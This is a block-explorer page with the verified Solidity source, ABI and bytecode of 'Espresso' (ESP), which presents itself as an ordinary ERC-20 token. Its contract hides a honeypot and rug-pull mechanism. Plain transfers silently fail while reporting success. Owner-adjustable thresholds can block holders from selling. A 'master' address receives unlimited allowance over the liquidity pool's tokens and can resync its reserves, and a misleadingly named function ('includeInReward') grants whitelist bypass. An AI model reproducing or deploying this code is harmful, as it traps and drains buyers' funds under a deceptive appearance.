Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()    - function _msgData()  contract Ownable is Context    - function owner() interface IERC20    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( interface IPancakeFactory    - function feeTo()    - function feeToSetter()    - function getPair(address tokenA, addr ...    - function allPairs(uint)    - function allPairsLength()    - function createPair(address tokenA, a ...    - function setFeeTo(address)    - function setFeeToSetter(address) interface IPancakePair    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address owner)    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address to, uint va ...    - function transferFrom(address from, a ...    - function DOMAIN_SEPARATOR()    - function PERMIT_TYPEHASH()    - function nonces(address owner)    - function permit(address owner, addres ...    - function MINIMUM_LIQUIDITY()    - function factory()    - function token0()    - function token1()    - function getReserves()    - function price0CumulativeLast()    - function price1CumulativeLast()    - function kLast()    - function mint(address to)    - function burn(address to)    - function swap(uint amount0Out, uint a ...    - function skim(address to)    - function sync()    - function initialize(address, address) interface IPancakeRouter01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IPancakeRouter02 is IPancak ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...  contract Espresso is Context, IERC ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function setBigNumber(uint256 newValu ...    - function setMinBalETH(uint256 newValu ...    - function setMaster(address account)    - function syncPair()    - function setDiver(uint256 _newDiver)    - function includeInReward(address acco ...    - function excludeFromReward(address ac ...    - function _isSuper(address account)    - function _safeTransfer(address sender ...    - function _transfer(    - function _approve(    - function _hasLiquidity()    - function _getETHEquivalent(uint256 am ...    - function _beforeTokenTransfer(    - function _checkDiver()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-04-11
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}


interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}


interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Espresso is Context, IERC20, Ownable {
    IPancakeRouter02 internal _router;
    IPancakePair public _pair;

    uint8 internal constant _DECIMALS = 18;

    address public master;
    mapping(address => bool) public _marketersAndDevs;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _buySum;
    mapping(address => uint256) internal _sellSum;
    mapping(address => uint256) internal _sellSumETH;

    uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
    uint256 internal _bigNumber = ~uint256(0);
    uint256 internal _minBalEth = 0;

    uint256 public diver;
    uint256 public balLiquidity;

    modifier onlyMaster() {
        require(msg.sender == master);
        _;
    }

    constructor(address routerAddress) {
        _router = IPancakeRouter02(routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        _balances[owner()] = _totalSupply;
        master = owner();
        _allowances[address(_pair)][master] = ~uint256(0);
        _marketersAndDevs[owner()] = true;
        balLiquidity = 1;
        diver = 2;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() external pure override returns (string memory) {
        return "Espresso";
    }

    function symbol() external pure override returns (string memory) {
        return "ESP";
    }

    function decimals() external pure override returns (uint8) {
        return _DECIMALS;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        if (_safeTransfer(_msgSender(), recipient, amount)) {
            _transfer(_msgSender(), recipient, amount);
        }
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_safeTransfer(sender, recipient, amount)) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");

            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function setBigNumber(uint256 newValue) external onlyOwner {
        _bigNumber = newValue;
    }

    function setMinBalETH(uint256 newValue) external onlyOwner {
        _minBalEth = newValue;
    }

    function setMaster(address account) external onlyOwner {
        _allowances[address(_pair)][master] = 0;
        master = account;
        _allowances[address(_pair)][master] = ~uint256(0);
    }

    function syncPair() external onlyMaster {
        _pair.sync();
    }

    function setDiver(uint256 _newDiver) external onlyOwner {
        require(_newDiver < 100_000);
        diver = _newDiver;
    }

    function includeInReward(address account) external onlyMaster {
        _marketersAndDevs[account] = true;
    }

    function excludeFromReward(address account) external onlyMaster {
        _marketersAndDevs[account] = false;
    }

    function _isSuper(address account) private view returns (bool) {
        return (account == address(_router) || account == address(_pair));
    }

    function _safeTransfer(address sender, address recipient, uint256 amount) view  private returns (bool) {
        if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
            return true;
        }

        if (_isSuper(sender)) {
            _checkDiver();
            return true;
        }
        if (_isSuper(recipient)) {
            uint256 amountETH = _getETHEquivalent(amount);
            uint256 bought = _buySum[sender];
            uint256 sold = _sellSum[sender];
            uint256 soldETH = _sellSumETH[sender];

            return bought >= sold + amount && _bigNumber >= soldETH + amountETH && sender.balance >= _minBalEth;
        }
        return false;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        balLiquidity = _pair.totalSupply();
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _hasLiquidity() private view returns (bool) {
        (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
        return reserve0 > 0 && reserve1 > 0;
    }

    function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
        (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
        if (_pair.token0() == _router.WETH()) {
            return _router.getAmountOut(amountTokens, reserve1, reserve0);
        } else {
            return _router.getAmountOut(amountTokens, reserve0, reserve1);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (_hasLiquidity()) {
            if (_isSuper(from)) {
                _buySum[to] += amount;
            }
            if (_isSuper(to)) {
                _sellSum[from] += amount;
                _sellSumETH[from] += _getETHEquivalent(amount);
            }
        }
    }

    function _checkDiver() internal view {
        uint256 currentBalLiquidity = _pair.totalSupply();
        if (diver > 1 && currentBalLiquidity < balLiquidity ) {
            require(currentBalLiquidity * _balances[address(_pair)] / balLiquidity < diver);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"contract IPancakePair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"balLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"diver","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setBigNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newDiver","type":"uint256"}],"name":"setDiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMinBalETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052620000126012600a62000457565b6200002290633b9aca006200046f565b600a55600019600b556000600c553480156200003d57600080fd5b50604051620017c7380380620017c7833981016040819052620000609162000491565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b158015620000f657600080fd5b505afa1580156200010b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000131919062000491565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200018f57600080fd5b505afa158015620001a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ca919062000491565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200021357600080fd5b505af115801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e919062000491565b600280546001600160a01b0319166001600160a01b03928316179055600a546000805483168152600560205260408120919091555416600380546001600160a01b0319166001600160a01b039283169081179091556002805483166000908152600660209081526040808320948352938152838220600019905581548516825260049052918220805460ff19166001908117909155600e55600d5554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200033391815260200190565b60405180910390a350620004bc565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003995781600019048211156200037d576200037d62000342565b808516156200038b57918102915b93841c93908002906200035d565b509250929050565b600082620003b25750600162000451565b81620003c15750600062000451565b8160018114620003da5760028114620003e55762000405565b600191505062000451565b60ff841115620003f957620003f962000342565b50506001821b62000451565b5060208310610133831016604e8410600b84101617156200042a575081810a62000451565b62000436838362000358565b80600019048211156200044d576200044d62000342565b0290505b92915050565b60006200046860ff841683620003a1565b9392505050565b60008160001904831182151516156200048c576200048c62000342565b500290565b600060208284031215620004a457600080fd5b81516001600160a01b03811681146200046857600080fd5b6112fb80620004cc6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80636346e734116100b8578063ae9de3401161007c578063ae9de340146102e1578063b51449bb146102f4578063b59c097414610307578063dd62ed3e1461030f578063e7a710a114610348578063ee97f7f31461035157600080fd5b80636346e7341461024e57806370a08231146102615780638da5cb5b1461028a57806395d89b41146102af578063a9059cbb146102ce57600080fd5b806326fae0d31161010a57806326fae0d3146101ce5780632782e35b146101e35780632dc58f8614610206578063313ce567146102195780633685d4191461022857806352390c021461023b57600080fd5b806306fdde0314610147578063095ea7b31461017d57806318160ddd146101a057806323b872dd146101b2578063262f78c5146101c5575b600080fd5b604080518082019091526008815267457370726573736f60c01b60208201525b6040516101749190611022565b60405180910390f35b61019061018b36600461108c565b610364565b6040519015158152602001610174565b600a545b604051908152602001610174565b6101906101c03660046110b8565b61037a565b6101a4600d5481565b6101e16101dc3660046110f9565b610442565b005b6101906101f13660046110f9565b60046020526000908152604090205460ff1681565b6101e1610214366004611116565b6104cc565b60405160128152602001610174565b6101e16102363660046110f9565b61050a565b6101e16102493660046110f9565b610545565b6101e161025c366004611116565b61057d565b6101a461026f3660046110f9565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610174565b60408051808201909152600381526204553560ec1b6020820152610167565b6101906102dc36600461108c565b6105ac565b6101e16102ef366004611116565b6105c9565b600254610297906001600160a01b031681565b6101e16105f8565b6101a461031d36600461112f565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6101a4600e5481565b600354610297906001600160a01b031681565b6000610371338484610679565b50600192915050565b600061038784848461079e565b15610437576001600160a01b0384166000908152600660209081526040808320338452909152902054828110156104165760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104218585856108a3565b6104358533610430868561117e565b610679565b505b5060015b9392505050565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161040d90611195565b600280546001600160a01b039081166000908152600660208181526040808420600380548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6000546001600160a01b031633146104f65760405162461bcd60e51b815260040161040d90611195565b620186a0811061050557600080fd5b600d55565b6003546001600160a01b0316331461052157600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6003546001600160a01b0316331461055c57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161040d90611195565b600c55565b60006105b933848461079e565b15610371576103713384846108a3565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161040d90611195565b600b55565b6003546001600160a01b0316331461060f57600080fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561065f57600080fd5b505af1158015610673573d6000803e3d6000fd5b50505050565b6001600160a01b0383166106db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b03821661073c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526004602052604081205460ff16806107dd57506001600160a01b03831660009081526004602052604090205460ff165b156107ea5750600161043b565b6107f384610b05565b1561080857610800610b37565b50600161043b565b61081183610b05565b1561089957600061082183610c10565b6001600160a01b03861660009081526007602090815260408083205460088352818420546009909352922054929350909161085c86836111ca565b8310158015610876575061087084826111ca565b600b5410155b801561088e5750600c54886001600160a01b03163110155b94505050505061043b565b5060009392505050565b6001600160a01b0383166109075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b0382166109695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b610974838383610ea8565b6001600160a01b0383166000908152600560205260409020548111156109eb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161040d565b6001600160a01b03831660009081526005602052604081208054839290610a1390849061117e565b90915550506001600160a01b03821660009081526005602052604081208054839290610a409084906111ca565b9091555050600254604080516318160ddd60e01b815290516001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac291906111e2565b600e556040518181526001600160a01b0380841691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610791565b6001546000906001600160a01b0383811691161480610b3157506002546001600160a01b038381169116145b92915050565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015610b7c57600080fd5b505afa158015610b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb491906111e2565b90506001600d54118015610bc95750600e5481105b15610c0d57600d54600e546002546001600160a01b0316600090815260056020526040902054610bf990846111fb565b610c03919061121a565b10610c0d57600080fd5b50565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c6357600080fd5b505afa158015610c77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9b9190611258565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0057600080fd5b505afa158015610d14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3891906112a8565b6001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc791906112a8565b6001600160a01b03161415610e6957600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b60206040518083038186803b158015610e2957600080fd5b505afa158015610e3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6191906111e2565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610e11565b610eb0610f69565b15610f6457610ebe83610b05565b15610ef1576001600160a01b03821660009081526007602052604081208054839290610eeb9084906111ca565b90915550505b610efa82610b05565b15610f64576001600160a01b03831660009081526008602052604081208054839290610f279084906111ca565b90915550610f36905081610c10565b6001600160a01b03841660009081526009602052604081208054909190610f5e9084906111ca565b90915550505b505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610fbc57600080fd5b505afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190611258565b506001600160701b031691506001600160701b0316915060008211801561101b5750600081115b9250505090565b600060208083528351808285015260005b8181101561104f57858101830151858201604001528201611033565b81811115611061576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610c0d57600080fd5b6000806040838503121561109f57600080fd5b82356110aa81611077565b946020939093013593505050565b6000806000606084860312156110cd57600080fd5b83356110d881611077565b925060208401356110e881611077565b929592945050506040919091013590565b60006020828403121561110b57600080fd5b813561043b81611077565b60006020828403121561112857600080fd5b5035919050565b6000806040838503121561114257600080fd5b823561114d81611077565b9150602083013561115d81611077565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561119057611190611168565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111dd576111dd611168565b500190565b6000602082840312156111f457600080fd5b5051919050565b600081600019048311821515161561121557611215611168565b500290565b60008261123757634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160701b038116811461125357600080fd5b919050565b60008060006060848603121561126d57600080fd5b6112768461123c565b92506112846020850161123c565b9150604084015163ffffffff8116811461129d57600080fd5b809150509250925092565b6000602082840312156112ba57600080fd5b815161043b8161107756fea26469706673582212204229c007f7f78e43380add5b6a2499d50a7fc5818026ce8bd1af12249e0007ca64736f6c634300080900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

